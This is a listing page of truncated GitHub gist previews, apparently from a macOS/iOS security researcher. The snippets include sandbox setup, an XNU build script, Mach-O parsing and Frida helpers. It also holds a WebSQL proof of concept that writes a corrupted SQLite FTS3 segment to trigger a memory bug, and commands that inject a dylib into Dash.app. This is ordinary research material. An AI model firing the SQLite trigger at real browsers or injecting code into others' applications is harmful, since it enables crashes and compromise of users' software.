This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #import <Foundation/Foundation.h> | |
| #include <sandbox.h> | |
| int sandbox_init_with_parameters(const char* profile, | |
| uint64_t flags, | |
| const char* const parameters[], | |
| char** errorbuf); | |
| #define SANDBOX_PROFILE "/System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb" | |
| #define SANDBOX_NAMED_EXTERNAL 0x0003 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (() => { | |
| const trs = document.querySelector('table').querySelectorAll('tr') | |
| const rows = [].slice.call(trs, 3, trs.length - 1) | |
| const footer = trs[trs.length - 1] | |
| const sorted = rows.sort((a, b) => { | |
| const parse = tr => tr.querySelector('td:nth-of-type(2) a').textContent | |
| .match(/((\d+\.?)+)\.tar\.gz/)[1] | |
| .split('.') | |
| .map(s => parseInt(s, 10)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const poc = `CREATE VIRTUAL TABLE ft USING fts3; | |
| INSERT INTO ft VALUES('aback'); | |
| INSERT INTO ft VALUES('abaft'); | |
| INSERT INTO ft VALUES('abandon'); | |
| UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200'; | |
| SELECT * FROM ft WHERE ft MATCH 'abandon';`; | |
| const name = 'db' + Math.random().toString().slice(2, 5); | |
| const db = openDatabase(name, '1.0', 'xx', 1024 * 16); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /bin/bash | |
| # | |
| # build-xnu-4903.221.2.sh | |
| # Initial script by Brandon Azad (https://gist.github.com/bazad/654959120a423b226dc564073b435453) | |
| # Updated on 12/11/18 by matteyeux | |
| # | |
| # A script showing how to build XNU version 4570.1.46 on MacOS High Sierra | |
| # 10.13 with Xcode 9. | |
| # | |
| # Note: This process will OVERWRITE files in Xcode's MacOSX10.13.sdk. Make a |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <errno.h> | |
| #include <fcntl.h> // open | |
| #include <stdint.h> | |
| #include <stdio.h> // printf, fprintf, stderr | |
| #include <stdlib.h> // exit | |
| #include <string.h> // strerror, strncmp | |
| #include <sys/mman.h> // mmap | |
| #include <sys/stat.h> // fstat | |
| #include <mach-o/loader.h> | |
| #include <mach-o/nlist.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m | |
| // optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash | |
| #import <Foundation/Foundation.h> | |
| #import <objc/runtime.h> | |
| static void pleasedontinvertwebview(/* we don't care about the args */) { | |
| NSLog(@"oops"); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // to speed up, I removed all data validation | |
| function MemoryBuffer(address, size) { | |
| this.base = address | |
| if (!size) { | |
| // const range = Process.findRangeByAddress(address) | |
| // if (!range) | |
| // throw new Error('invalid address: ' + address) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| LOCAL_PATH := $(call my-dir) | |
| include $(CLEAR_VARS) | |
| LOCAL_MODULE := loader | |
| LOCAL_MODULE_TAGS := optional | |
| LOCAL_SRC_FILES := loader.c | |
| LOCAL_CPPFLAGS := -std=gnu++0x -Wall | |
| LOCAL_LDLIBS := -L$(SYSROOT)/usr/lib -llog -pie -fPIE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import struct | |
| import lief | |
| from lief.MachO import LOAD_COMMAND_TYPES, HEADER_FLAGS | |
| def check(filename): | |
| macho = lief.parse(filename) | |
| # check this? |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # NOTE: You need to `brew install gnu-sed` on Mac | |
| # | |
| # by @codecolorist | |
| # http://github.com/chichou | |
| # | |
| # fix some compilation error of headers generated by class-dump | |
| # | |
| # usage: fixheader.sh DIRECTORY |